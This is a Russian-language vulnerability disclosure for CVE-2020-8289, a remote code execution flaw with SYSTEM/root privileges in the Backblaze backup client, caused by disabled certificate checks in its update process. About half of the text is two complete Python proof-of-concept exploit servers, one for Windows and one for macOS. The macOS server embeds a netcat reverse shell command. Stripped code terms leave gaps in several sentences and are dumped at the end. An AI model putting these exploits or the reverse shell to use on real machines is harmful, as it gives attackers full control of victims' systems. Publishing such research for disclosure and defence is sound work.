
CVE-2020-8289 – удалённое выполнение кода с правами SYSTEM/root через Backblaze
Название: Удалённое выполнение кода с правами SYSTEM/root через Backblaze
CVE: CVE-2020-8289
Исследователь: Jason Geffner
Производитель: Backblaze
Продукт: Backblaze для Windows и Backblaze для macOS
Риск: Критический
Дата обнаружения: 2020-03-13
Дата публикации: 2020-09-09
Исправленная версия: 7.0.1.433 (Windows) и 7.1.0.434 (macOS)
Согласно Википедии, Backblaze — это
«инструмент онлайн-резервного копирования, который позволяет пользователям Windows и macOS создавать резервные копии своих данных в удалённых центрах обработки данных. Сервис предназначен для бизнеса и конечных пользователей, предоставляя неограниченное дисковое пространство и поддерживая файлы без ограничения размера».
Уязвимые версии Backblaze для Windows и Backblaze для macOS содержат критическую уязвимость, которая позволяет не имеющему привилегий анонимному удалённому злоумышленнику выполнять произвольный код (RCE) с правами SYSTEM/root.
Сервисный процесс клиента Backblaze с именем bzserv работает как SYSTEM в Windows и как root в macOS. Каждые пару часов bzserv запускает программу bztransmit (выполняющуюся с правами SYSTEM/root) для загрузки XML-файла с именем clientversion.xml из центра обработки данных Backblaze, чтобы проверить, доступна ли для загрузки более новая версия клиента Backblaze. URL этого XML-файла формируется из имени хоста bzdatacenter в установленном файле bzinstall.xml (доступном только для чтения для непривилегированных пользователей) и жёстко заданного пути api/clientversion.xml, в результате получается URL вида https://ca000.backblaze.com/api/clientversion.xml. Эта загрузка выполняется с помощью статически связанной библиотеки libcurl. Однако функции , использующие , содержат необычную логику, которая заставляет их устанавливать в и в , если переданный URL содержит одну из следующих строк:
.backblaze.xyz/.backblazeb2.xyz/api/clientversion.xmlapi/install_backblazeЭто позволяет удалённому злоумышленнику выдавать себя за веб-сервер https://ca000.backblaze.com/ с недействительным SSL-сертификатом (например, самоподписанным) и предоставлять клиенту управляемый злоумышленником файл clientversion.xml. Когда bztransmit разбирает загруженный XML-файл, он проверяет, является ли последняя версия клиента, описанная в XML-файле, более новой, чем установленная версия клиента, и если да, загружает установщик последней версии клиента из центра обработки данных Backblaze. URL для этой загрузки формируется из атрибута win32_url/mac_url в загруженном файле clientversion.xml; значение атрибута должно начинаться с %DEST_HOST%, и эта строка во время выполнения заменяется на указанное выше имя хоста центра обработки данных. Таким образом, злоумышленник может указать в своём clientversion.xml URL загрузки вида %DEST_HOST%/api/install_backblaze, чтобы заставить bztransmit загрузить установщик с https://ca000.backblaze.com/api/install_backblaze, и снова игнорировать SSL-сертификат сервера из-за строки в URL. Если загруженный файл не является ZIP-файлом (например, это PE-файл или Mach-o файл), то единственная проверка файла, выполняемая , заключается в том, что файл должен содержать строку в определённом диапазоне смещений в файле. Как только эта проверка пройдена, использует / для запуска загруженного файла с правами /, что позволяет злоумышленнику выполнить RCE с правами /.
Видео: https://youtu.be/W0THXbcX5V8
Это доказательство концепции предназначено для клиента Windows. Мы предполагаем, что злоумышленник уже отправил жертве поддельный DNS-ответ, чтобы направить ca000.backblaze.com на IP-адрес злоумышленника, но для целей тестирования PoC вы можете вместо этого добавить строку <attacker's IP> ca000.backblaze.com в файл %windir%\System32\drivers\etc\hosts на системе жертвы. Приведённый ниже код предполагает, что злоумышленник предоставит rce.exe (который будет выполнен с правами SYSTEM на системе жертвы) и server.pem (который может быть самоподписанным).
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
bzmagicpat = b"bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
b"xzgromitxxkublerrossxxskiepicxxnukepavex"
with open("rce.exe", "rb") as f:
exe = f.read()
if len(exe) > (50200 - len(bzmagicpat)):
raise("EXE too large")
exe += bzmagicpat
exe += b"\x00" * (50304 - len(exe))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(exe)))
self.end_headers()
self.wfile.write(exe)
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' win32_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
Когда приведённый выше код запущен, ждите. Клиент жертвы проверяет наличие обновлений каждые пару часов.
Если вы хотите проверить PoC, не дожидаясь, вы можете выполнить следующие команды с правами SYSTEM (например, с помощью psexec) на системе жертвы, чтобы принудительно запустить проверку обновлений:
del %ProgramData%\Backblaze\bzdata\bzupdates\bzautoupdate_2_hour_lock.lckbztransmit.exe -fetchclientversionxmlbztransmit.exe -downloadautoupdateifappropriateВидео: https://youtu.be/ILPP1Ky5nuY
Это доказательство концепции предназначено для клиента macOS. В реальном мире злоумышленник отправил бы жертве поддельный DNS-ответ, чтобы направить ca000.backblaze.com на IP-адрес злоумышленника, но для целей PoC мы атакуем с той же системы, что и жертва, и эксплуатируем скомпрометированный сервис Backblaze, чтобы создать удалённую оболочку обратно к злоумышленнику, тем самым предоставляя потенциальному удалённому злоумышленнику root-доступ.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for macOS."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
attacker_ip = "localhost"
attacker_port = 12345
reverse_shell = "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + \
f"{attacker_ip} {attacker_port} >/tmp/f"
bzmagicpat = "bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
"xzgromitxxkublerrossxxskiepicxxnukepavex"
payload = reverse_shell + "\n" + bzmagicpat
payload += "A" * (50304 - len(payload))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(payload)))
self.end_headers()
self.wfile.write(payload.encode())
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' mac_version="1' + form.getvalue("version") + '"' +
' mac_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
Когда приведённый выше код запущен, ждите. Клиент жертвы проверяет наличие обновлений каждые пару часов.
Если вы хотите проверить PoC, не дожидаясь, вы можете выполнить следующие команды на системе жертвы, чтобы принудительно запустить проверку обновлений:
sudo rm /Library/Backblaze.bzpkg/bzdata/bzupdates/bzautoupdate_2_hour_lock.lcksudo /Library/Backblaze.bzpkg/bztransmit -fetchclientversionxmlsudo /Library/Backblaze.bzpkg/bztransmit -downloadautoupdateifappropriateBackblaze исправил эту уязвимость в версии 7.0.1.433 для Windows и в версии 7.0.1.434 для macOS.
Эта уязвимость была обнаружена и сообщена в Backblaze Джейсоном Геффнером через HackerOne.
2020-03-13 - Уязвимость обнаружена и сообщена в Backblaze через HackerOne
2020-03-31 - HackerOne подтвердил уязвимость
2020-04-09 - Выпущены сборка 7.0.1.433 для Windows и сборка 7.1.0.434 для macOS
2020-04-17 - Присвоен CVE-2020-8150
2020-04-18 - Подтверждено устранение уязвимости
2020-04-20 - Запрошено публичное раскрытие
2020-09-09 - Публичное раскрытие
2020-12-22 - Идентификатор CVE изменён на CVE-2020-8289
bztransmitlibcurlCURLOPT_SSL_VERIFYPEER0CURLOPT_SSL_VERIFYHOST0api/install_backblazebztransmitbzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxyxzgromitxxkublerrossxxskiepicxxnukepavexbztransmitShellExecute()system()SYSTEMrootSYSTEMroot